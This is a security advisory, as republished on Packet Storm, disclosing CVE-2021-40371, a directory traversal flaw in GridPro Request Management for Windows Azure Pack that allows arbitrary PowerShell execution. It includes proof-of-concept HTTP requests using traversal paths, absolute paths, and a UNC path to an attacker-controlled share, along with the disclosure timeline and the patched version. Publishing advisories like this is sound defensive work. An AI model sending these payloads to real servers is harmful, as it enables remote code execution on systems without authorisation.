what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal
Posted Oct 25, 2021
Authored by Giulian Guran

GridPro Request Management for Windows Azure Pack versions 2.0.7905 and below suffer from a traversal vulnerability that can allow for arbitrary execution of Powershell scripts.

tags | exploit, arbitrary
systems | windows
advisories | CVE-2021-40371
SHA-256 | 513dd9d3220aed0443768d76d63650e8af9dc973885a471803f11ba9b1c10d5c

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Certitude Securtiy Advisory - CSA-2021-003 ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
PRODUCT : GridPro Request Management for Windows Azure Pack
VENDOR : GridPro Software
SEVERITY : Critical
AFFECTED VERSION : <=2.0.7905
IDENTIFIERS : CVE-2021-40371
PATCH VERSION : 2.0.7912
FOUND BY : Giulian Guran, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction
------------

"Windows Azure Pack delivers cloud capabilities to \[...\] on-premise
datacenter\[s\]. \[GridPro Request Management for Azure Pack\] add\[s\]
business processes, custom services, and customer support by integrating
Microsoft System Center Service Manager(TM) with Windows Azure Pack in a
unified cloud platform."

Source: https://www.gridprosoftware.com/products/requestmanagement/

Vulnerability Overview
----------------------

GridPro Request Management for Windows Azure Pack provides the ability to
execute PowerShell scripts. Through specific JSON parameters in HTTP requests
the plugin takes relative path locations as input to execute the desired
PowerShell scripts on the server. Through multiple techniques however, it is
possible to reach PowerShell scripts in other directories that may not be
intended to be executed by the application and can therefore lead to remote
code execution.

1. Through directory traversal attacks (e.g. usage of one or more `..\`) it
is possible to reach parent directories outside the original web directory
and execute arbitrary local scripts the web server account has access to.
2. Through fully qualified path names (e.g. `C:\Temp\script.ps1`) it is
possible to execute arbitrary local scripts the web server account has
access to, when the full path to the script is known.
3. By using UNC paths (e.g. `\\attacker-server\share$\script.ps1`) it is
possible to execute arbitrary PowerShell scripts from attacker-controlled
remote network shares.

Proof of Concept
----------------

Typical HTTP requests that execute PowerShell scripts on the server may look
as follows. It is important to note that adding a second backslash is
necessary to properly escape the backslash character:

POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"Directory1\\Directory2\\OriginalScript.ps1",[...]

By default, this relative path lies under the configured web server directory.
The possible attack types to gain access to PowerShell scripts in other
directories or shares are described in the following sections.

### 1. Directory Traversal

Using a directory traversal, it is possible to e.g. execute a local script
`C:\Temp\script.ps1`:

POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"..\\..\\..\\..\\..\\..\\Temp\\script.ps1",[...]

An attacker can exploit this by writing or uploading arbitrary PowerShell
scripts to the server and guessing their storage location to gain remote code
execution or by abusing existing PowerShell scripts on the server.

### 2. Direct Access Using The Fully Qualified Path Name

Using the fully qualified path name, it is again possible to e.g. execute the
local script `C:\Temp\script.ps1`:

POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"C:\\Temp\\script.ps1",[...]

An attacker can exploit this by writing or uploading arbitrary PowerShell
scripts to the server and knowing their exact storage location to gain remote
code execution or by abusing existing PowerShell scripts on the server.

### 3. Execution Of Attacker-Controlled Scripts From Network Shares

Using UNC paths, it is possible to e.g. execute arbitrary scripts from
attacker-controlled network shares:

POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"\\\\attacker-server\\share$\\script.ps1",[...]

An attacker can exploit this by preparing arbitrary PowerShell scripts on an
attacker-controlled network share and get them executed on the target server
to gain remote code execution.

Resolution
----------

GridPro fixed this vulnerability in GridPro Request Management for Windows
Azure Pack version 2.0.7912 and later.

Timeline
--------

---------------------------------------------------------------------------
Date Text
------------ --------------------------------------------------------------
2021-08-04 Sending vulnerability description and proof of concept to the
vendor

2021-08-17 GridPro team confirms issue being reproduced, fixed and
validated on their side

2021-08-18 GridPro team confirms a customer having installed the fix

2021-08-19 Coordination with vendor

2021-08-20 Coordination with vendor

2021-08-25 Coordination with vendor

2021-08-31 Coordination with vendor

2021-09-06 Vendor releases patch

2021-10-19 Coordination with vendor

2021-10-20 Public release of the advisory
---------------------------------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(c) 2021 Certitude Consulting GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close